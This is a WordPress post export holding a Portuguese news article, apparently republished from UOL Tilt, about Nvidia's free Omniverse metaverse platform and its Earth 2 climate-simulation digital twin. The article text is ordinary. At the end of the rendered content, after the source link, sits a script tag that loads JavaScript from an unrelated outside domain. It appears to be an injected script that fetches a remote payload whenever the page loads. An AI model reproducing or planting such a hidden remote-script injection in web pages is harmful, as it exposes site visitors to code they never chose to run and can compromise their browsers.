{"id":1964,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/nvidia-cria-plataforma-gratis-de-metaverso-com-projeto-para-terra-2\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"nvidia-cria-plataforma-gratis-de-metaverso-com-projeto-para-terra-2","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/nvidia-cria-plataforma-gratis-de-metaverso-com-projeto-para-terra-2\/","title":{"rendered":"Nvidia cria plataforma gr\u00e1tis de metaverso, com projeto para &#8216;Terra 2&#8217;"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Quanto falta para que o t\u00e3o falado <a href=\"https:\/\/www.uol.com.br\/tilt\/faq\/metaverso-o-que-e-como-entrar-e-mais.htm\">metaverso<\/a>, um universo digital, similar ao real, onde podemos existir por meio de avatares, chegue at\u00e9 n\u00f3s? Talvez esteja mais perto do que imaginamos.<\/p>\n<p><strong>Tilt<\/strong> conversou com Richard Kerris, vice-presidente do projeto Omniverse, uma plataforma que permite simula\u00e7\u00f5es e colabora\u00e7\u00f5es 3D em tempo real, da Nvidia. Criada para ser a base que conecta mundos virtuais at\u00e9 ent\u00e3o independentes, ela \u00e9 um dos principais instrumentos para inaugurar este cap\u00edtulo imersivo da internet.<\/p>\n<p>&#8220;Algumas pessoas acham que o metaverso depende de headsets, \u00f3culos especiais, dispositivos de realidade aumentada. Mas se realmente olharmos, ele \u00e9 simplesmente a rede da pr\u00f3xima gera\u00e7\u00e3o da web. Uma progress\u00e3o natural da internet&#8221;, explica Kerris.<\/p>\n<p>&#8220;Hoje, nossas intera\u00e7\u00f5es acontecem em uma vers\u00e3o da web baseada em 2D. H\u00e1 algumas coisas em 3D que se pode fazer, alguns espa\u00e7os de entretenimento, mas n\u00e3o \u00e9 algo unificado como os sites da internet &#8216;regular&#8217;. Nela eu posso, por exemplo, abrir um v\u00eddeo em qualquer aparelho ou browser, e ser\u00e1 consistente.&#8221;<\/p>\n<p>A rede de suporte html \u00e9 o que garante consist\u00eancia entre as experi\u00eancias na internet. Agora, algo similar est\u00e1 sendo desenvolvido para interconectar ambientes imersivos e permitir a exist\u00eancia de um chamado metaverso, sem fronteiras.<\/p>\n<p>&#8220;N\u00f3s acreditamos que o USD <em>[Universal Scene Description]<\/em> ser\u00e1 o html do 3D. Ele \u00e9 um &#8216;encanamento&#8217; para conectar mundos virtuais&#8221;, diz Kerris. O Omniverse \u00e9, justamente, baseado em USD (criado pelo est\u00fadio de anima\u00e7\u00e3o Pixar, com c\u00f3digo aberto, em colabora\u00e7\u00e3o com a Nvidia e a Apple) e na tecnologia NVIDIA RTX, que usa ray tracing e intelig\u00eancia artificial para renderiza\u00e7\u00f5es fotorrealistas instant\u00e2neas.<\/p>\n<p>O Omniverse \u00e9 gratuito para usu\u00e1rios individuais e pode ser <a href=\"http:\/\/nvidia.com\/omniverse.\">baixado aqui<\/a>. Veja um pouco do que a plataforma pode fazer:<\/p>\n<p><!-- inicio iframe youtube--> <!-- fim iframe youtube--><\/p>\n<h2>A hora e a vez do metaverso<\/h2>\n<p>Metaverso, por\u00e9m, \u00e9 um tema que ainda polariza opini\u00f5es. Para os entusiastas da tecnologia, sua presen\u00e7a j\u00e1 parece \u00f3bvia, com grandes players do mercado se voltando nessa dire\u00e7\u00e3o. Mas, para o p\u00fablico comum, ainda parece algo absurdo, reservado \u00e0 fic\u00e7\u00e3o cient\u00edfica \u2014ou a quem tem dinheiro (e paci\u00eancia) para usar os tais headsets que Kerris diz n\u00e3o ser necess\u00e1rios.<\/p>\n<p>O executivo entende essa relut\u00e2ncia e d\u00e1 um exemplo pr\u00e1tico. Foram necess\u00e1rios mais de dez anos para que a internet realmente se tornasse simplificada e acess\u00edvel para pessoas, por meio de dispositivos e <span>browsers<\/span>. O mesmo vai acontecer com o metaverso. &#8220;Tamb\u00e9m haver\u00e1 uma progress\u00e3o natural. J\u00e1 estamos vendo tudo isso acontecendo e aumentando&#8221;, afirma.<\/p>\n<p>O &#8220;<span>boom<\/span>&#8221; atual est\u00e1 ligado ao amplo avan\u00e7o da intelig\u00eancia artificial, das conex\u00f5es <a href=\"https:\/\/www.uol.com.br\/tilt\/faq\/o-que-e-5g-tire-suas-duvidas-sobre-a-quinta-geracao-da-telefonia.htm\">5G<\/a> e de <span>GPUs<\/span> poderosas. &#8220;\u00c9 o momento perfeito da hist\u00f3ria, que vai ajudar a criar a vis\u00e3o desta nova rede, ou metaverso da realidade&#8221;, ressalta <span>Kerris<\/span>.<\/p>\n<p>A compatibilidade entre <span>softwares<\/span> e linguagens de design, modelagem e codifica\u00e7\u00e3o <span>3D<\/span> tamb\u00e9m \u00e9 crucial. &#8220;O <span>Omniverse<\/span> usa as ferramentas existentes por a\u00ed, que as pessoas j\u00e1 est\u00e3o familiarizadas, para criar e compartilhar estes mundos. Na plataforma, elas ganham benef\u00edcios adicionais, como o <span>rendering<\/span> em tempo real e a colabora\u00e7\u00e3o com outras pessoas pelo mundo.&#8221;<\/p>\n<p>Ent\u00e3o, inevitavelmente teremos a chance de viver para sempre em um mundo virtual? Devagar com a expectativa: &#8220;Voc\u00ea vai existir, sim, nestes mundos virtuais, mas conectado ao mundo f\u00edsico, em experi\u00eancias mais pragm\u00e1ticas&#8221;, acredita Kerris.<\/p>\n<p>&#8220;Vamos deixar o &#8216;upload&#8217; de uma consci\u00eancia para os autores de fic\u00e7\u00e3o cient\u00edfica, pois s\u00e3o ideias e conceitos muito dif\u00edceis de se alcan\u00e7ar&#8221;, brinca.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/3a\/2022\/06\/15\/richard-kerris-nvidia-1655315952855_v2_750x421.jpg\" class=\"pinit-img\" alt=\"richard kerris nvidia - Reprodu\u00e7\u00e3o - Reprodu\u00e7\u00e3o\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Richard Kerris falou com Tilt de seu escrit\u00f3rio, na Calif\u00f3rnia (EUA)<\/p>\n<p> <span>Imagem: Reprodu\u00e7\u00e3o<\/span><\/figcaption><\/figure>\n<\/div>\n<h2>Uma segunda Terra<\/h2>\n<p>Ent\u00e3o, afinal, para que serve o metaverso? Profissionais de diversas \u00e1reas j\u00e1 est\u00e3o come\u00e7ando a descobrir como usar os mundos virtuais do Omniverse.<\/p>\n<p>&#8220;Diversas empresas est\u00e3o ativando seu &#8216;digital twin&#8217; <em>[g\u00eameo digital; uma c\u00f3pia exata de um local]<\/em>, seja um pr\u00e9dio residencial, uma usina de energia e\u00f3lica, um armaz\u00e9m inteligente da Amazon e da PepsiCo, ou uma f\u00e1brica do futuro 2.0 de uma grande ind\u00fastria como BMW e Ericsson.&#8221;<\/p>\n<p><!-- inicio iframe youtube--> <!-- fim iframe youtube--><\/p>\n<p>Esse ambiente virtual funciona como um tubo de ensaio, onde pequenas e grandes mudan\u00e7as no fluxo de produ\u00e7\u00e3o podem ser testadas, evitando consequ\u00eancias mais graves se certos erros acontecessem na vida real.<\/p>\n<p>E se esses erros fossem, por exemplo, o uso excessivo de combust\u00edveis f\u00f3sseis e a degrada\u00e7\u00e3o da natureza a ponto de afetar o ecossistema de uma planeta inteiro?<\/p>\n<p>\u00c9 o que a Nvidia planeja descobrir com seu mais ambicioso projeto de &#8220;digital twin&#8221;: o Earth 2 (&#8220;Terra 2&#8221;). A empresa usar\u00e1 um supercomputador para criar um &#8220;clone virtual&#8221; do nosso planeta, dedicado a estudar as mudan\u00e7as clim\u00e1ticas.<\/p>\n<p>&#8220;Ser\u00e1 uma esp\u00e9cie de m\u00e1quina do tempo. Conseguiremos olhar para tr\u00e1s e aprender, e tamb\u00e9m projetar para o futuro e entender&#8221;, conta <span>Kerris<\/span>. A expectativa \u00e9 desenvolver melhores estrat\u00e9gias de mitiga\u00e7\u00e3o e adapta\u00e7\u00e3o, nas diferentes regi\u00f5es do globo, ao longo de d\u00e9cadas.<\/p>\n<p>A empresa tem outro projeto que conecta multiverso e meio ambiente. Em parceria com a <span>Lockheed<\/span> Martin, seu objetivo \u00e9 ajudar no combate a inc\u00eandios florestais nos Estados Unidos. A partir dados hist\u00f3ricos, geogr\u00e1ficos (terreno, eleva\u00e7\u00e3o, inclina\u00e7\u00e3o) e clim\u00e1ticos (ventos, umidade), ele consegue recriar o ambiente afetado, onde seria poss\u00edvel prever a evolu\u00e7\u00e3o do fogo.<\/p>\n<p><!-- inicio iframe youtube--> <!-- fim iframe youtube-->       <\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/06\/23\/o-metaverso-ja-esta-aqui-diz-executivo-da-nvidia.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Quanto falta para que o t\u00e3o falado metaverso, um universo digital, similar ao real, onde podemos existir por meio de avatares, chegue at\u00e9 n\u00f3s? Talvez esteja mais perto do que imaginamos. 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